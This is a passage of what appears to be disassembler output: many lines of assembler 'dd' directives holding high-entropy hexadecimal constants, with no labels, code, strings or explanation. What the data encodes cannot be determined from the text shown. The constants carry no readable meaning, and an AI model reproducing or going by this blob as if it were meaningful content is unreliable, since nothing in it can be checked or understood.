		dd 525D1400h, 4DA7BBh, 0A84F4A28h, 0A651011h, 0AE7B6A00h
		dd 854E6E36h, 11B0078h,	0CD4B602Eh, 0BE04EC0Bh,	339B7B9Ah
		dd 0E0757080h, 6380520h, 8334D93Ah, 0E11F8EFCh,	13406609h
		dd 6A4CA35h, 11C0A06Ch,	8A47003Bh, 7CF9A92Bh, 6B168923h
		dd 843134AEh, 80C02AD2h, 714F00BFh, 5F356477h, 8F00D32Eh
		dd 305CBA1Eh, 5C65EB92h, 29037BD5h, 0BEFAEF32h,	3B270C88h
		dd 0C260FC1Ch, 0B7DA10C7h, 5CED57F0h, 3F10024h,	0D7A6F623h
		dd 0CD00629Fh, 51C55AF7h, 33FA3EA3h, 953959B5h,	0CE7176A8h
		dd 147C4Ch, 199E2A43h, 0B9A96224h, 0B966815Ch, 0E49CFC31h
		dd 76181CABh, 3EE019C5h, 6A8AC014h, 40D9C358h, 0DBD80900h
		dd 0CD9F422Eh, 3CDD48F0h, 6ACEA000h, 0AB4BC1F9h, 0AD508300h
		dd 9A6FE551h, 0F21600F4h, 87BE790Dh, 31019D81h,	55015DEBh
		dd 4EDC43Eh, 0A93DCCh, 4BAF566Dh, 10239BE3h, 1321C009h
		dd 0AB942020h, 259A430h, 574CB948h, 0B468D988h,	741DDF8Ch
		dd 1172CF34h, 965700D7h, 0C00C2FAAh, 4858C398h,	0B9400E5Fh
		dd 2094D421h, 95980D7Eh, 8320D667h, 549A3B60h, 1E48028Eh
		dd 6E57058Ch, 0E5A6188Fh, 5937F9D4h, 389C9070h,	815F0A75h
		dd 0A10E454h, 191C6157h, 0F418A85Ah, 0A200CB5Eh, 448CF322h
		dd 72B28CCh, 0DDA34BACh, 6D00CE61h, 0C97A5FE8h,	32F45E90h
		dd 67B68C00h, 8F25C465h, 0F51E007Ch, 0FB3AA73h,	2FB83CD8h
		dd 0CE35BC00h, 67237870h, 5CDC00DDh, 698CF0D0h,	0C4B0EE12h
		dd 91FF8500h, 8E3A5274h, 8D500187h, 718917A2h, 8BB7D89Dh
		dd 62208000h, 8326DD68h, 32B60058h, 387E45D5h, 0A9F8E6BBh
		dd 87A3D617h, 0DE153E01h, 3A30973Dh, 7A5FAE1h, 0FE179FC1h
		dd 0F35FC0CEh, 105B94Ah, 54C0D358h, 0FCCDE842h,	8D69C0AEh
		dd 0E5C700ACh, 54A63709h, 0B8A015C3h, 12804AE4h, 0E1DA443Dh
		dd 8041AD6Fh, 1C169E5Fh, 0CE21010Bh, 6A73705Bh,	213DFBB4h
		dd 0DE1D00E7h, 0F90F82D4h, 0E54B0071h, 0FB795E66h, 2100EC0Ch
		dd 0A59FBE19h, 1D540E23h, 30C8F3h, 3CFDC6E2h, 0FF00E18Ch
		dd 0A6C9213Eh, 0F0D781CCh, 9238016Ch, 5DE66A57h, 4018E9B6h
		dd 847DF550h, 12FAB0A0h, 19D32430h, 1E15AD3Ah, 8305A87Eh
		dd 11B5387Ah, 6A41A900h, 0CA314D62h, 88480C79h,	21F8E38Ah
		dd 758DD44h, 2681DA6Ah,	0D1086057h, 193022A7h, 515A21E2h
		dd 7C847E75h, 357F0095h, 60D6798Ah, 320E869Ch, 67CD5DC1h
		dd 6835E12h, 0E5FC90F6h
		dd 0FA22033Eh, 4E5A19D3h, 9BD0A7A0h, 0D7571701h, 3F238F69h
		dd 0F15E8DC0h, 31E03D8h, 33EB8AB2h, 8C682DBh, 3E21D661h
		dd 98D71E1Bh, 0E2DCE1h,	0F0F4804Fh, 11C9B6FCh, 0C0BBC3Dh
		dd 30C1D2F2h, 7C8D3A03h, 5D94510Ch, 0B5033E11h,	80E002C0h
		dd 90F6AF1Fh, 21EA6708h, 68612F94h, 0CF164BDFh,	0FBB4B006h
		dd 0C858FFB3h, 0E1CF5050h, 88E005C0h, 9D88F518h, 16F68Ch
		dd 0EE926E5Eh, 393C1D2Eh, 0DBD76301h, 566C599Ch, 98007831h
		dd 3AA85713h, 10601A8Eh, 0EF241E32h, 0CBF2EB00h, 43841334h
		dd 75F849h, 8B6BE87Ch, 0C91672D8h, 8E78AD00h, 0ED48CEDAh
		dd 1ECD0010h, 75016006h, 6D00C268h, 0DEC8237Fh,	6E3F59h
		dd 0A42F56F8h, 0F487BF12h, 2C1DEAE8h, 0AE00F119h, 0A79B2D79h
		dd 82C713F3h, 69CE004Bh, 0E2392958h, 678518C0h,	0F469A35h
		dd 914459E5h, 6F190A07h, 89F00616h, 120D28C0h, 6115ABDDh
		dd 0F00BD020h, 7A1B004Ah, 684779D3h, 0C200F3B1h, 3D59700Dh
		dd 68E5E1FBh, 19F030CBh, 87728E7h, 36AA6F5Fh, 13C4E1C0h
		dd 0A8630337h, 0B1345578h, 0D1A18E66h, 9B028C1Ch, 0C4626C19h
		dd 617E3EC0h, 98903CAEh, 89598109h, 0C086EA2Dh,	21282697h
		dd 0C8445C85h, 0B61CD43h, 3E78CB98h, 0E2957F01h, 0E971349Dh
		dd 0AA122080h, 0EAD37421h, 0ED792900h, 27EB460Dh, 71D50623h
		dd 0B173031Bh, 904E9D02h, 0F7E6ACB5h, 0C7C237C1h, 2FC8EDA0h
		dd 351E063h, 5131032Ah,	5969C457h, 5365B0E7h, 0D2C13EBh
		dd 0B201E622h, 2A1FBC21h, 1447891h, 0D6262B9Fh,	37F8B3F3h
		dd 31A0A016h, 5F858859h, 9880E128h, 27AA0400h, 431F64C4h
		dd 0FE3F1F2Bh, 3CBC0039h, 0C5E02597h, 5D670318h, 2829A879h
		dd 4424661Ch, 3B00754Ah, 7FE00397h, 0CFFB025Ah,	4140A6C1h
		dd 0E517FE19h, 1C7AF3Eh, 2FF14AC5h, 7FC42B5Fh, 550334CBh
		dd 0D6698031h, 31007C70h, 0D525B17Eh, 48E74F91h, 0D7050CFCh
		dd 14AD2E3Dh, 12105494h, 37B40AA8h, 0DA00D80Bh,	0CCDDEF54h
		dd 53172491h, 0AD0FB964h, 16EC5FE9h, 850E2610h,	204D9BB5h
		dd 0F3096B1Bh, 74F43F40h, 0FC102Ah, 0FF301281h,	0A1E685B5h
		dd 0D71D9E00h, 3648DE62h, 339F3CA5h, 0F19CEA01h, 0E420AB60h
		dd 6E041F27h, 0B9315F74h, 0EB839C90h, 0C65B1FD7h, 9C788415h
		dd 6308203h, 93544920h,	745D7258h, 47A02BEh, 18D6DD2Bh
		dd 946F6EE0h, 97AF9E00h, 9DFB2C02h, 0C8595037h,	3FD61D84h
		dd 0DB8EC0D0h, 83AF38CFh, 80331C39h, 0E0C097D8h, 774975h
		dd 5B76694Ch, 52A9D293h, 8109D00h, 0D9AECE3Bh, 0DBB01BABh
		dd 0BC9841D8h, 3703412Eh, 0D16EA191h, 825488C3h, 893B3C69h
		dd 0D5082860h, 8F0CD719h, 19AADCC2h, 217A6317h,	0B18887EAh
		dd 3438F4A4h, 26A281EDh, 3C10442Ah, 0C911AE4h, 0FBCED6E5h
		dd 5E0E3880h, 0A15AF6h,	5D84AE61h, 783E885h, 46AF42D1h
		dd 58119C39h, 0B3C9490Ch, 33DDAEE3h, 5508FBBBh,	8E1F2100h
		dd 83EEAC9h, 4F5301F6h,	4E270492h, 0F8E503B1h, 60C380F5h
		dd 60381041h, 0D23AECF0h, 4DF20322h, 80FB27BCh,	1F9317Dh
		dd 4198EF87h, 4833AF45h, 0C9088644h, 0C4FBE388h, 7FF8408Ch
		dd 768E1C9h, 0B6FD47A5h, 0C08BE199h, 4F7980A4h,	8A161E3Dh
		dd 5CFD1E5Fh, 9087325h,	4607217Ah, 15A8B61Eh, 0E02040E2h
		dd 0A462D3h, 33BEEC30h,	3A69D1BAh, 2BC9554h, 51C2EB19h
		dd 70915018h, 45029380h, 91478A53h, 0E2104338h,	2E031E33h
		dd 0C3A83D6Eh, 0FF1900A5h, 0B1599B0Fh, 1A005A32h, 65889AA3h
		dd 145A8E5h, 4B08437Bh,	40B35E6Eh, 0D5E337B0h, 0AC022h
		dd 0A433635Dh, 98937DBAh, 5B023D06h, 3A93F9Eh, 2346F682h
		dd 3BE18D13h, 3A38ACAFh, 0B96B9200h, 0C0F30FB8h, 7F38A719h
		dd 5892C264h, 8350F13Bh, 5B1F582Bh, 6009BE8Fh, 289121C8h
		dd 74FE1364h, 427F115h,	51BF006Ch, 4BC5FFDEh, 0E8400D4h
		dd 0B21BAF70h, 2E12471Ah, 481C2722h, 63C7CAC0h,	90C06A39h
		dd 97030258h, 6D16B8C3h, 674D4CA4h, 583DE1EEh, 0CD0C5A6Fh
		dd 14E9B88h, 0FA469964h, 0E0D161A2h, 0AF808917h, 9DB30023h
		dd 7C2CFB75h, 9C630ABAh, 0CDE7208h, 9D8B5520h, 0AC779864h
		dd 96E91E02h, 41D90DFDh, 901183D4h, 45A02019h, 0C974048Ch
		dd 626BE3B2h, 4D1E2090h, 0B2C07AC9h, 0CEE50E3Fh, 0F8FF6786h
		dd 985FA210h, 71EF2C45h, 7082C180h, 6EFA35F3h, 0B83D0B05h
		dd 8840DB0Ah, 2BFC6A13h, 0FABB3ADFh, 8C1D8D80h,	0AF355C84h
		dd 39110499h, 0B6C94880h, 0C0914BE3h, 0C981FAC0h, 0D53E03A7h
		dd 26E723BDh, 786984CAh, 4DC810D0h, 0B81B00A6h,	0F72971BBh
		dd 32286927h, 44A034E9h, 0B3127975h, 403A63E8h,	8600F523h
		dd 41940485h, 8CF406CAh, 616627C8h, 0BF883100h,	860BAA6Bh
		dd 0D2A601BBh, 0EFD6901Fh, 807091E3h, 34E2198Eh, 1C3758h
		dd 5464519Ah, 88722F06h, 24D13F00h, 0B7D6582Ah,	6101006Bh
		dd 0DC301E39h, 440796CDh, 0AFB0BE6h, 5E5F66C0h,	0A0A3040Dh
		dd 8059F65Ch, 0CA7B85D0h, 523A2707h, 24E00195h,	1C23DCCCh
		dd 0CC58662Eh, 3940100Fh, 0E06F0E18h, 1A9E658h,	0EDD0E224h
		dd 421008DBh, 9F3040E0h, 0E3BD11C9h, 928F8873h,	0E854001Dh
		dd 0D2019D9Ch, 0E364E504h, 23408C39h, 0F9904F34h, 0A7978400h
		dd 0AFD61FFCh, 943F0F5Fh, 0ACC3AEC7h, 0B6D9E3BFh, 31FC40CCh
		dd 0BD49E0C2h, 0A68A004Ch, 95F2AC53h, 987B4C46h, 31018F23h
		dd 3F8A521Eh, 0F1885D18h, 0DB1E0C3Ah, 6FB04C33h, 0C4F4E22Ah
		dd 81B45809h, 13817D60h, 0DEBB7C42h, 0D8A9D640h, 0F2E4952Ch
		dd 986D960Ch, 632C0183h, 80871E27h, 6CD1F0F5h, 8E335D00h
		dd 0C50B6FE5h, 58F8C15Ch, 30790EDEh, 0FE00394Ch, 96F49AE0h
		dd 589CCDD2h, 4A11A434h, 0CA5F0224h, 9C147428h,	99492320h
		dd 7E267031h, 31CC64h, 0F0F366E8h, 15B851DBh, 0D0E1DA60h
		dd 0C228B2DFh, 10019F48h, 54443467h, 1890ED63h,	93002450h
		dd 0B8E29E7Ch, 2EEBF501h, 29549AD5h, 1854D11Ch,	4BD30062h
		dd 0D99F1C07h, 6900251Fh, 6078C463h, 0C6AB0FBBh, 398D3951h
		dd 42A02C00h, 8C254456h, 0F0300063h, 6FBC12C7h,	29025A13h
		dd 698919D1h, 8B8C427h,	402A1482h, 7222E820h, 208CB06Ch
		dd 1F68C29h, 0B3924B18h, 34EA1928h, 8240C5A6h, 0B23051FCh
		dd 0FB48109Dh, 8A4CE054h, 0AA5B009Dh, 0BC7EC5ACh, 6891E3D9h
		dd 8BF72A02h, 1320408Ah, 53507C3Bh, 8CA2CCDFh, 3E52730h
		dd 925B07FFh, 81E4BFABh, 7E616A4h, 8E63EC60h, 66431A01h
		dd 0E8C3D80Ch, 0EA07CBA2h, 62FFB921h, 704928F1h, 23879DD4h
		dd 7F189CFBh, 0B814321h, 1016BB9Dh, 4A766C84h, 46562461h
		dd 0CBAD0385h, 0DB1ABB98h, 32DD88Fh, 0E8517D68h, 316918DDh
		dd 1302312Ch, 0C8441234h, 0DD4BF880h, 84B1053Ah, 1A7675Dh
		dd 0E2B62E8Ch, 3B8024C3h, 26D03Eh, 0FFA0698h, 0DF9689Dh
		dd 9C54A31Ch, 8D296068h, 60DC5C2Ch, 91D1C4A1h, 0BE052B18h
		dd 73519FB3h, 0DFC65C80h, 302C9249h, 77C17CEAh,	63003DE1h
		dd 3332B73Eh, 197350F5h, 0E86683BCh, 2AA44C4Ah,	9DB7048Ch
		dd 648CFB49h, 8F542C1Fh, 726D3BC8h, 7F05D8C0h, 0C944E2B0h
		dd 0A01038C9h, 0D7002B17h, 0A4FCF6E1h, 2EF7572Ah, 4C588Fh
		dd 9AC54502h, 380812BEh, 119B8AA2h, 0C99D813Ah,	31C6E3B7h
		dd 72701793h, 79670DC9h, 122B03DEh, 0D64CA2AFh,	0E7D1B3B0h
		dd 13723E00h, 4684B0CCh
		dd 0C339C969h, 0AF5C4448h, 1DD72C3Fh, 36C1BC2Eh, 518E4308h
		dd 0FB580105h, 890B86EBh, 26FDF10h, 0E7A29B00h,	6092C440h
		dd 22DF1BDh, 4851D542h,	2048CADBh, 92005C98h, 0EC1C77FEh
		dd 48E41DD2h, 3E3A1C56h, 0DCDF8A14h, 3C007C22h,	349AA46h
		dd 139C5E28h, 672B297h,	503A1364h, 8434C248h, 40989D38h
		dd 0B0C3883Eh, 0D6F821C0h, 37626FDh, 27BB4808h,	7022398Ah
		dd 744BF844h, 0AC8891CEh, 3E8820D4h, 3B4B765Ch,	15723CCh
		dd 18309DE2h, 0C33DD4BDh, 0EBDADE0Bh, 0B0C8AA32h, 20B9960h
		dd 0E0AE00BFh, 0F798DCC7h, 1316B46Dh, 4004D54Ch, 50D9953Bh
		dd 5488D00Eh, 5CC689C0h, 0B18F05C5h, 308E9A5Dh,	0ADCF994h
		dd 0BE28BC09h, 2B6891CFh, 9D088818h, 0C284FB9Ah, 4A00DE78h
		dd 16069D80h, 0ABA5048Ah, 3EE0D400h, 52DCD9C3h,	1100D8D4h
		dd 1E8C7505h, 0E0985CEFh, 17B35114h, 9FB22E0h, 95FE3EE3h
		dd 5F284060h, 8B209766h, 252D31D1h, 0F0776118h,	64BA0B5Dh
		dd 8ED1A099h, 60E4C119h, 56E4EC70h, 904B349h, 8E5E428Bh
		dd 5D4B5D0h, 99A70E46h,	402E04C2h, 33B84014h, 0BB219B16h
		dd 9F31888h, 0C6102492h, 8B7F5EB9h, 800DDFF8h, 0A2A9631Dh
		dd 912BE0B3h, 7435F8C3h, 0CA2CC63h, 3A57B30h, 20A1287h
		dd 7196F830h, 8C6E384Eh, 86154E00h, 8DEAEF91h, 7E1CAF80h
		dd 29A26051h, 8E4BFB72h, 5200209Ah, 0C217F67Fh,	4BDC0233h
		dd 239C2F7Ch, 0A675000Ch, 6B0E47A3h, 7BDC355Dh,	22E08B25h
		dd 2007EBE0h, 203E8C30h, 0C25C8908h, 87435E45h,	0B0E6CF10h
		dd 4B38A72Bh, 52443381h, 4F5831B8h, 9FF6448Ch, 2352A40h
		dd 717222FEh, 2C60D951h, 9D820C82h, 805511D8h, 9ED4495Bh
		dd 0EC5F0017h, 0D8BD5096h, 45045C88h, 845B0E8Ch, 78C6A080h
		dd 820F30B8h, 0B1DEC291h, 0BE39ACA8h, 0B92E430Ah, 0BB09A84Eh
		dd 0E844C802h, 0A4E40ADEh, 40D430A5h, 87A31F2Ah, 0BED258C4h
		dd 4188208Eh, 8D75B8C0h, 8F963B12h, 40534F9Dh, 0EF1BA8F8h
		dd 0DE2EEC9Bh, 6F96A4A3h, 0C04DD408h, 0FB9C9DB6h, 0E09CB45Ch
		dd 0A9D8E50h, 5E438D4Bh, 0E2F98098h, 2428D7A3h,	8FDB1E25h
		dd 0D6F8074h, 20221310h, 6B71B357h, 8C4D8E01h, 0BA5DE8C3h
		dd 7A103832h, 730E03F1h, 0E7B91090h, 8932F420h,	42D618DDh
		dd 2D8320F9h, 397E910Ah, 0C37220E9h, 2053ED4Bh,	9123203Ah
		dd 5C1E8400h, 28F64DCDh, 7AE02FE6h, 0A0B774A7h,	0C7B46D0h
		dd 92AFA68Ah, 0E707B010h, 0D1418C26h, 0CA730860h, 0E3F8CFE1h
		dd 0A0F63A86h, 305B0239h, 3EA11854h, 7BE44046h,	1B0B850h
		dd 92181B63h, 0D1F125F4h, 7E88E01Dh, 0D01D67D1h, 0AE6A4071h
		dd 6322FA00h, 0C7E1396h, 0B9E2061Eh, 68F2F66Eh,	77C43085h
		dd 0ABF05563h, 0CD769015h, 8AD3513Dh, 0C05BD214h, 0C916CE9Eh
		dd 1202244Fh, 0FCE681Fh, 74A8948Fh, 0ECADC300h,	0CDEB1AF9h
		dd 0B51B0141h, 0AEC62002h, 0F0CFFC70h, 35B4341Dh, 7501BC00h
		dd 7656CCCh, 39744743h,	0CDB1B145h, 9F11D8C1h, 980026E8h
		dd 60408289h, 272E32h, 4F669906h, 0F214F601h, 93F5A624h
		dd 46FFA700h, 3418496Dh, 7B113830h, 551DB004h, 8010C09Dh
		dd 0A00C914Ch, 0FEED7C00h, 0E0E68A3Ch, 3E255h, 0CF5FA81Dh
		dd 9EEC8F1Ch, 420129C8h, 82F532Eh, 9DA2BD62h, 22FA6522h
		dd 8E12908h, 0D99944F7h, 5BB01084h, 65141154h, 0DD118C21h
		dd 0BAD2CC00h, 65824FB7h, 4E9DF500h, 0CAF6EA0h,	5AD006Ch
		dd 9BE253CAh, 0BAF07597h, 703B0100h, 0FCE45AE5h, 209D003Fh
		dd 6ED263BFh, 4C00A548h, 69F1C358h, 152303h, 42B74DC0h
		dd 942F6382h, 22D4B407h, 0C930F407h, 59BCF1h, 3ABDEA9Fh
		dd 0D5D88FA8h, 60000EF6h, 977921B6h, 0C9F9A5Bh,	16F534Ah
		dd 0E30C7B18h, 29CEF7CBh, 0DAA900DFh, 6C717891h, 0CF009395h
		dd 5CF9C6A2h, 79FB76Eh,	37F4456Bh, 1DDD3F8Fh, 0E06AEAh
		dd 6BEF2A6Eh, 494286D6h, 71298200h, 0CD5A5725h,	48306054h
		dd 0B2108AD4h, 0B600E8EAh, 2271DD12h, 2FA131h, 4F94BA65h
		dd 411C4221h, 5E6A6806h, 0E0BE97h, 8392DE2Eh, 6DD223D3h
		dd 606F4C06h, 10888921h, 274515h, 0D1D984E0h, 74E53EF2h
		dd 7F9F12D4h, 51100A56h, 0B19C61A4h, 0FF960EFh,	3D7C0C00h
		dd 9F126840h, 187F63h, 32C456E8h, 1EF17F92h, 30340300h
		dd 0BA5F548Ah, 157E00B6h, 0DC66FE79h, 0E700D463h, 0EFE6EB4Eh
		dd 3C2737h, 0B989ECBCh,	0E349C7D8h, 0F9CD0600h,	927485CFh
		dd 157900D6h, 0D1ED30E9h, 2F00A067h, 3859C671h,	227B6F0h
		dd 8EA32842h, 8083787Eh, 20A08B22h, 0C0004DCAh,	3033FC2Fh
		dd 0E8374FD3h, 0E316005Fh, 86C9A7B1h, 830FDA28h, 319882Fh
		dd 9B26A254h, 40FEE873h, 70100F1h, 439660D5h, 0B12EAAFh
		dd 0AB00240Ah, 0BAC797C8h, 9F150258h, 0AC5E7782h, 0D1C9AC80h
		dd 200387Bh, 590FD917h,	0F09522Fh, 4991E697h, 0DDC622E3h
		dd 0EFE93EB8h, 1E8D6E00h, 597546EDh, 317900D8h,	0F1B76AD2h
		dd 0F83F328Fh, 2FAE00B8h, 0C00433E4h, 1F1700FFh, 0F29D7971h
		dd 0D0094EAh, 995B28B6h, 0BFE91Eh, 125AA742h, 0DDD3FE76h
		dd 0CC242B2Ah, 6E8047Fh, 0FF691A00h, 15413AB7h,	96610492h
		dd 0C070C0E2h, 0AF4D8615h, 0C506B200h, 98AEBE33h, 124C9095h
		dd 837DA7h, 296804D5h, 3B1E7666h, 0F8C063F5h, 0B112A308h
		dd 0EB44027Dh, 0A6718D9Bh, 6F65E880h, 0FE0AA4BAh, 0E4861EACh
		dd 79688B00h, 0A9B570h,	39227D20h, 84CF9189h, 0C00AEBF4h
		dd 0ACD80937h, 29C11D80h, 7697F521h, 11830004h,	0B2B6BEC8h
		dd 0E01EF9B5h, 78C0549Bh, 6B05574Dh, 198B00EFh,	0AEA056CFh
		dd 0C5385FB7h, 239E0090h, 7C8FAA28h, 0D88663B1h, 0C0BC3D6Ah
		dd 0B629F4Ch, 3B3C9C00h, 0E632D7B9h, 84002D8h, 292C5996h
		dd 22C82443h, 27003374h, 8CFDE55Fh, 74A5C5Dh, 0A003EF7Dh
		dd 3114D096h, 0E8027B4Ch, 0D13D298Dh, 0A4DC609Eh, 0CDCC009Ah
		dd 0A93587E1h, 4D0051D3h, 0DBD69FEDh, 945CA1h, 58DDF911h
		dd 1040BCA5h, 9E3E600h,	0F41EC149h, 0D9CC0085h,	0EEC098A2h
		dd 211C1A7Ch, 5440B659h, 1C49A648h, 9846264Fh, 46B13AFh
		dd 80F78B10h, 4A68FB08h, 0DED8F101h, 0CA8D8AA5h, 7EAAC48h
		dd 0BC4BE4CEh, 30358012h, 7C019909h, 0C5523CB6h, 45E964B4h
		dd 6C74E8h, 3A98538Fh, 47E2ACB0h, 80DEA4A0h, 0F8131418h
		dd 392B5611h, 2CA622ECh, 3AD60440h, 75B20338h, 6C8085F6h
		dd 4F50ADCh, 0DA85AB4Fh, 5EE48025h, 4000C550h, 72FD7D94h
		dd 1426E8h, 5D84F11h, 6424A01Fh, 0DBE6F0A0h, 777C3E0Eh
		dd 7BA9A0C7h, 9E71FFh, 3678C02Dh, 941E8E34h, 0ADFED303h
		dd 6E292Bh, 0E4756A11h,	284E430Ah, 0F67B9EEAh, 8AB2111Dh
		dd 0F1EDDA80h, 70E778h,	93E20AD1h, 54A3F446h, 60492C00h
		dd 1C8EA66Fh, 0CD1504A1h, 80C9D835h, 99331F5Ch,	3B4F2200h
		dd 0AD8487ACh, 0DF100074h, 0E11E7CE7h, 55014866h, 0C2771F14h
		dd 0D1F8EB6Eh, 1355984Fh, 13805Fh, 72EA3C53h, 2F0047E0h
		dd 0A5CD0B7Dh, 5874A8Bh, 63B9F142h, 0CFE30074h,	57724673h
		dd 0E17C9800h, 0B7E0524h, 913D04E5h, 0C1EDDEDBh, 8E14E333h
		dd 779FA8h, 16450DF1h, 0B227139h, 0CEF32E06h, 0E93C0900h
		dd 0F0009E6h, 46A8D9A5h, 0FEE0B5h, 6EA9A439h, 0B78CBBFBh
		dd 2360E400h, 6A9BCC02h, 99C1123Eh, 4C284034h, 0E96DF5F2h
		dd 8A0F9300h, 0E7E46390h
		dd 30FD0047h, 0E2033E68h, 1B13AB61h, 331401FEh,	71A9000Ch
		dd 885B19DBh, 0B9EE0739h, 69B2CEh, 38D6F10Dh, 0BD294300h
		dd 0F4845C6h, 81ED014Eh, 0B6D5258Ch, 32CC60F9h,	511E0A07h
		dd 0D83293EEh, 44A06043h, 54E72492h, 5CC0090h, 0FCC40878h
		dd 5D24F9B0h, 3D004C34h, 0FE87CAA8h, 0C5B403CBh, 1709D0Dh
		dd 0C0A61F9Dh, 0B2E319B5h, 84040E0Bh, 4BB1AABAh, 330A7BC0h
		dd 4EE1006Ch, 7B932FF0h, 0D217D83Fh, 5002431Ch,	18F35399h
		dd 0BA12ED9Ch, 0B40EF6F4h, 0D44580B4h, 1B9636Dh, 1126A901h
		dd 0F6C6B3DEh, 857FDC40h, 73DDBB01h, 462BB1BFh,	0BD2B020h
		dd 0FFAC1290h, 38794C80h, 503329Ah, 8AA48CD3h, 3B6DB02Bh
		dd 74BB002Ah, 0AE4A6A2Fh, 62001A4Ch, 7ED0E981h,	73BBA79h
		dd 242A9ECEh, 23E4E015h, 87019951h, 736A30A8h, 9C33F758h
		dd 75626B00h, 0C4FCAE80h, 0C767D81Ch, 0A50B7440h, 0BA10E7Eh
		dd 16996BACh, 5036F187h, 313EB986h, 4F5E39h, 5C9ECA39h
		dd 5CC5AF96h, 0ED00C143h, 0C21EE30Dh, 4B049C3Fh, 72C494Fh
		dd 0C67E10C0h, 0F0D3269Fh, 2E9D0031h, 664718A4h, 5F5D200h
		dd 0CC2D68A6h, 0CE4B002Ch, 1CB29DC5h, 1B00D517h, 3651A45Dh
		dd 84E598h, 0C946549Ah,	0F9C3D3E9h, 8E019970h, 0F76881BDh
		dd 4D3458D4h, 0CCEC508Ah, 2F5500CDh, 3DAAB34Ch,	8112AD02h
		dd 280744FFh, 7177A42Bh, 4500F0FAh, 0E6821EC7h,	0EFA70028h
		dd 771B231Ah, 39E06D57h, 0E38B6B00h, 280136ABh,	2A48026Ch
		dd 0D4A53006h, 8B3B5C48h, 0EFB7FC0Fh, 3807623Dh, 8C18C0A2h
		dd 0C3D409E2h, 8840AF49h, 0E5005539h, 9923FEE7h, 0B079BDA4h
		dd 0EAA00049h, 0E1E928CDh, 21001E6Bh, 5DDD3F69h, 28DFFD4h
		dd 445F68D0h, 18C02041h, 17585CCEh, 0CF4381ACh,	14646999h
		dd 4B2F174Dh, 635D01C3h, 64286436h, 3F3DF000h, 0C02E82ACh
		dd 806DB166h, 0A9A194B5h, 968103A3h, 0CABE595Dh, 9E199CB0h
		dd 3C353800h, 0F9FE7943h, 0F6FF03F2h, 0C6F8C4F4h, 2763DB80h
		dd 0BAB1305h, 0E501D7E9h, 7A86A79h, 86361064h, 0B8A0A779h
		dd 0BE0F7D77h, 0C2659C08h, 41D2B292h, 0A63026F4h, 33C60E1Ch
		dd 71A5B441h, 0FBE8C050h, 7200826Ah, 0A1D38827h, 13B0DBEh
		dd 9CEF9F02h, 3164FF86h, 5F042089h, 18F4ED01h, 0B74BE012h
		dd 57DEF889h, 25F05200h, 677711E7h, 0EB88D700h,	0A5174CA6h
		dd 8E9100AEh, 2C891054h, 8C0085CAh, 2A5255F6h, 395AFF2Dh
		dd 14BB1A0h, 7841CDE8h,	8170BE3Ch, 0AE34F4E4h, 0DB104FD3h
		dd 64DF5F8h, 32B90300h,	20D6FCh, 0DC1F9D11h, 0E8F984D7h
		dd 0F43F987Fh, 92EC872Eh, 40C3B611h, 0ED6F80E0h, 0E8167DDBh
		dd 7F78B0F2h, 3880C06Dh, 9BE90D81h, 85C4D913h, 0BECAFA00h
		dd 0F26CAFC2h, 0F64309A3h, 1401404Eh, 80AC71F1h, 5D47468h
		dd 16064CF7h, 0FAE472h,	2AB3470Ch, 0C20BD8F3h, 27A030B8h
		dd 692F84F4h, 3F582196h, 2424DFE3h, 76AB1F4Bh, 9670CB06h
		dd 0C21338A1h, 431B30ADh, 0EE00ABB2h, 0ED2E5A09h, 0E408521Eh
		dd 30B10A9Fh, 92A4C86Dh, 34600591h, 6180EBD2h, 0E3F01318h
		dd 0F8764C60h, 70B86365h, 32CBECA5h, 8C4828E0h,	0E97F6200h
		dd 0D5B4295Fh, 0F1A624D3h, 41A9123Ch, 693D38BCh, 5982C54h
		dd 0FE6B4E7Dh, 9C0858C9h, 9FD30282h, 32B51B2Ch,	24B8E468h
		dd 46008CE0h, 23E0541Fh, 0DE648A6h, 52DCE141h, 422840B9h
		dd 6F061F96h, 0B654256Bh, 0C74B0A58h, 8FF4D121h, 920057E5h
		dd 5156DBBEh, 0EFBC0400h, 91B4156Fh, 9C8D3093h,	0C15BEB51h
		dd 9362600h, 2935578Eh,	64600071h, 0C7D8BBF0h, 0F5903E50h
		dd 0D7BD6C09h, 0CF342443h, 678570C0h, 0B6A201FBh, 5496ECB2h
		dd 43D450C7h, 402A9AD3h, 2F1EA463h, 0D18013ACh,	0DC3FA045h
		dd 7B160056h, 0A8546D27h, 18000184h, 891DF0Fh, 8C3F28h
		dd 0DB95102Bh, 0B43AE848h, 10336C24h, 0A4E05BCh, 0AC133FF4h
		dd 0CD319021h, 11908057h, 0B6C4E3h, 52BF4C7Ah, 69D3221h
		dd 0D84AF701h, 0F98E930Fh, 0CEC6F840h, 59110EBFh, 9AA04050h
		dd 23E62A34h, 8EE3EB09h, 0A0F4809Ch, 0E4A963h, 8427EE4Fh
		dd 5A936276h, 0E005CF6h, 0EC42F6E7h, 0B86F5D15h, 0D28A00F3h
		dd 0A7189109h, 45003693h, 0F6AB2F7Eh, 54CE3F7Dh, 5BD4FBh
		dd 70B0490Ah, 381BD3A3h, 0C86A8A00h, 6511A04Dh,	0BA7D0067h
		dd 0DD46F406h, 0A450372Fh, 40B1D7DCh, 0BF1E599Ch, 214F7580h
		dd 0B0408D9Fh, 0AC4D1CF4h, 586880A2h, 25B7543Ch, 133EB000h
		dd 0F1C9CA53h, 4602007Ah, 0BCBBE72Ch, 0F849F92Fh, 9085240Ch
		dd 719E3200h, 3F3AD352h, 55009F93h, 958E16B1h, 6800A25Fh
		dd 2FA1271Bh, 30EE84B7h, 0AF111FB5h, 0E607E73Eh, 75A65A38h
		dd 90905194h, 0D42788h,	0DBBB07FBh, 0BFCDE666h,	8D05F9E4h
		dd 768F42E3h, 8CA2B8D0h, 5C620087h, 4D81FE23h, 4800D0CDh
		dd 0B867EF7Bh, 4B138A92h, 83E81EB9h, 0ABF77677h, 1F371100h
		dd 0BF72E4D6h, 0F34424D1h, 16C50044h, 43FAC8Dh,	9883DF07h
		dd 0E0CE1E81h, 151DDC13h, 0F503030Ch, 0A9FF42A7h, 0E1C7F8B0h
		dd 45826D09h, 0A3400839h, 67FF201h, 35C5BDD3h, 3FFA78E4h
		dd 2774D84h, 8A6B01DDh,	0C4C01632h, 7310C9D2h, 3403BD8Bh
		dd 0F7F8E656h, 30279AB0h, 8047D2Eh, 0CA5B9181h,	7073BA15h
		dd 4BA64D0Ah, 60994088h, 2E01DF76h, 4E2DB0D2h, 3C74A1C1h
		dd 0B6585021h, 0B9C4011Dh, 0A7CCE96Ch, 0FBC840C2h, 0EB004FE8h
		dd 27FF389Bh, 0D5310Dh,	0E57421D9h, 0AE88F47Ch,	426C3Bh
